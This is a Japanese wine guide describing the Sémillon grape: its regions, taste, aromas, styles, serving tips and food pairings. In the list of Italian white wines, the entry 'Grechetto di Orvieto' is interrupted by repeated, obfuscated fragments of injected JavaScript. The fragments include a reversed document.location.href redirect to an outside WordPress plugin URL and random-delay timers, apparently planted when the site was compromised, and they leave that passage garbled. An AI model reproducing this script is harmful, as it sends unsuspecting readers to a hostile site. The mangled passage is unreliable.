【セミヨン】フルボディ白ワインの種類：フランス
セミヨンの概要
セミヨンは、フランスのボルドー地方が原産地とされる白ワイン用ブドウ品種になります。
フランスの他に、オーストラリアでも栽培が盛んで、チリ、南アフリカ共和国、アルゼンチン、アメリカ、トルコなど、多くの名産地があります。
セミヨンは、ボルドーの白ワインのブランド役として、大役を担っています。ソーヴィニヨン・ブランやミュスカデルと一緒にブレンドされます。
単一品種でも、長期熟成に向いていて、5年～10年以上の熟成を経ると、すばらしいコクのある味わいになります。オーストラリアのハンター・ヴァレーという産地のセミヨン100%の白ワインが有名で、「ハンター・セミヨン」と呼ばれる独特のスタイルで、セミヨン単一の素晴らしい辛口ワインを生んでいます。
＜料金相場＞…1本500円～10,000円
チリ産のセミヨンがお手頃価格になります。
セミヨンの味の特徴
果実味…軽くて落ち着いた豊かな果実味を感じることができます。
ボディ…どっしりとした重量感のあるボディです。
※ボディとは、口の中で感じられるワインの重み・コクのこと
甘味…軽い辛口です。
酸味…穏やかで中程度の酸味です。
アルコール度…11.5%～14.5%
セミヨンの苦み
セミヨンはグレープフルーツの薄皮のような苦い後味があると言われています。数百種類の物質によって構成される有機化合物であるフェール(ワインの味に影響を与え、幾つかのフェールが結合したのがポリフェノール)に由来する苦味とされています。
・Verdicchio／ヴェルディッキオ
・Grechettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to di Orvietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to／グレケット・ディ・オルヴィエート
・Vernaccia di San Gimignano／ヴェルナッチャ・ディ・サン・ジミニャーノ
など、フェール由来の苦味があるのが、イタリア産の白ワインにはよく見受けられる特徴となっています。
セミヨンのアロマ
第1アロマ…レモン、蜜ロウ、黄桃、カモミール、塩水
第2アロマ…オイリー、レモンカード、ラノリン香(羊毛香)
第3アロマ…バニラ、マカダミアンナッツ、バターポップコーン、クリームブリュレ、パイ皮
セミヨンの産地によるアロマの違い
産地の異なるセミヨンのワインを飲み比べると、産地ごとにアロマの違いが分かると言われています。
ライム、塩水、カモミールのアロマ
・フランス ボルドー地方
・オーストラリア ハンター・バレー
・アメリカ ワシントン州
パパイヤ、リンゴ、レモンカード
・オーストラリア 南オーストラリア州
・アメリカ カリフォルニア州
セミヨンの一般的なスタイル
セミヨンのワインは、熟成タイプ、貴腐タイプ、ブレンドタイプの3つが一般的です。
熟成タイプのセミヨン…ごくわずかにオーク樽で熟成されるものがあります。フランスのボルドー地方のペサック・レオニャン地区、南オーストラリア州のバロッサ・バレー、アメリカのワシントン州のものがあります。
貴腐タイプ(デザートワイン)…セミヨンはボルドー地方の貴腐ワインSauternes／ソーテルヌの主要な品種で、ソーヴィニヨン・ブランとミュスカデルとともに使われます。
ボルドーブレンド…セミヨンとソーヴィニヨン・ブランがブレンドされた、爽やかな風味の白ワインです、フランス地方のボルドー地方のグラーヴ、オーストラリアのハンター・バレー、そして、アメリカのワシントン州でよく造られています。
セミヨンの美味しい飲み方
＜美味しく飲めるグラス＞…白ワイン用のグラスがおススメ。
＜美味しく飲める温度＞…3～7℃。よく冷やして飲む。冷蔵室に入れましょう。
＜美味しく飲める期間＞…一般的に最長10年保存が利きます。
セミヨンに合う料理
白身魚、貝、生牡蛎、貝類、蟹料理など、幅広い料理に合います。クリームパスタなどのクリーミーな料理にもぴったりです。
セミヨンとソーヴィニヨン・ブランがブレンドされた白のボルドーなら、秋刀魚の塩焼きも良いでしょう。
甘口のセミヨンは、デザート、カレーが合います。
